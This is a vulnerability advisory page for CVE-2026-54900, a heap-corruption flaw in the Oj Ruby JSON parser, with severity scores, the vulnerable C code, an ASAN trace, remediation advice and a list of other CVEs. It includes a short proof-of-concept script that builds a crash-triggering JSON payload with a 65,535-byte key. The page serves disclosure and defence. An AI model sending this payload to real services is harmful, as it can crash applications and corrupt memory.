Skip to main content

Oj gem CVE-2026-54900

MEDIUM
Use After Free (CWE-416)
2026-06-19 https://github.com/ohler55/oj GHSA-9cv6-qcjw-4grx
6.3
CVSS 4.0 · Vendor: https://github.com/ohler55/oj
Share

Severity by source

Vendor (https://github.com/ohler55/oj) PRIMARY
6.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
7.5 HIGH

Reachable over the network through any JSON endpoint using the affected parser config, no auth or interaction, trivial trigger; confirmed impact is process crash (A:H), C/I impact not demonstrated.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Red Hat
7.5 HIGH
qualitative

Primary rating from Vendor (https://github.com/ohler55/oj).

CVSS VectorVendor: https://github.com/ohler55/oj

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

3
CVSS changed
Jul 01, 2026 - 00:22 NVD
6.3 (MEDIUM)
Source Code Evidence Fetched
Jun 19, 2026 - 21:34 vuln.today
Analysis Generated
Jun 19, 2026 - 21:34 vuln.today

DescriptionCVE.org

Summary

Oj::Parser#parse in usual mode with create_id enabled is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process.

Version

  • Software: oj gem
  • Affected: all versions with ext/oj/usual.c
  • Latest tested: 3.17.1 (confirmed present)

Details

ext/oj/usual.c, form_attr:

c
// usual.c:55-64
static ID form_attr(const char *str, size_t slen) {
    char        buf[4096];
    // ...
    int  blen = (int)slen + 1;    // ← truncates: 65535 + 1 = 65536 → wraps to 0
                                  //   or: 65535 cast to int = 65535 (fits),
                                  //   but blen = 65536 → INT overflow on +1 if slen=INT_MAX
    // ...
    memcpy(buf, "@", 1);
    memcpy(buf + 1, str, (size_t)blen);  // ← size_t(-1) = SIZE_MAX
}

The cache (cache_intern) uses a fixed 65,536-byte slab. When slen = 65535, the arithmetic wraps and memcpy is called with (size_t)-1.

ASAN report:

==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1)
    #0 memcpy
    #1 form_attr          /ext/oj/usual.c:63
    #2 cache_intern       /ext/oj/cache.c:326
    #3 get_attr_id        /ext/oj/usual.c:186
    #4 close_object_create  /ext/oj/usual.c:374
    #5 parse              /ext/oj/parser.c:693
    #6 parser_parse       /ext/oj/parser.c:1408
0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)

Reproduce

Generate the payload:

python
key = 'A' * 65535
with open('poc.json', 'w') as f:
    f.write('{"json_class":"Oj::Bag","' + key + '":1}')

Trigger:

ruby
require 'oj'
Oj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read)

AnalysisAI

Heap corruption in the Oj Ruby JSON parser allows remote attackers to crash or potentially corrupt memory in applications that parse untrusted JSON with Oj::Parser in :usual mode when the create_id option is enabled. A 65,535-byte object key triggers an integer truncation in form_attr (ext/oj/usual.c:63) that turns the buffer length into (size_t)-1, causing memcpy to write SIZE_MAX bytes onto a fixed 65,536-byte cache slab. No public exploit identified at time of analysis beyond the maintainer-supplied reproduction script in GHSA-9cv6-qcjw-4grx.

Technical ContextAI

Oj is a widely used high-performance C-extension JSON parser for Ruby that, in :usual mode, supports a create_id directive (commonly json_class) to instantiate Ruby objects from JSON. The vulnerable function form_attr prefixes an @ to a key to build a Ruby instance-variable identifier, but computes the buffer length as int blen = (int)slen + 1. When slen equals 65,535 the +1 overflows the signed int to a negative value, which is then implicitly cast to size_t, producing SIZE_MAX. The cache (cache_intern at cache.c:326) operates on 65,536-byte slabs, so the over-long memcpy runs straight off the slab into adjacent heap, classic CWE-680 / CWE-190 territory (the CVE entry tags it CWE-416 Use-After-Free, which appears to be a mis-classification - the ASAN trace is negative-size-param, not UAF).

RemediationAI

Upgrade to oj 3.17.3 or later (vendor-released patch: 3.17.3) - update your Gemfile to gem 'oj', '>= 3.17.3' and run bundle update oj, then redeploy. Until you can upgrade, the most reliable workaround is to stop using Oj::Parser in :usual mode with create_id and instead use Oj.load or Oj.safe_load (side effect: applications relying on json_class-based object reconstitution will need to handle hashes manually). A second compensating control is to enforce a strict maximum JSON-key length at an upstream layer (reverse proxy, Rack middleware, schema validator) - anything well under 65,535 bytes blocks the trigger, with the trade-off that legitimate large keys are rejected. See the GitHub advisory at https://github.com/ohler55/oj/security/advisories/GHSA-9cv6-qcjw-4grx for the upstream fix commit.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

Share

CVE-2026-54900 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy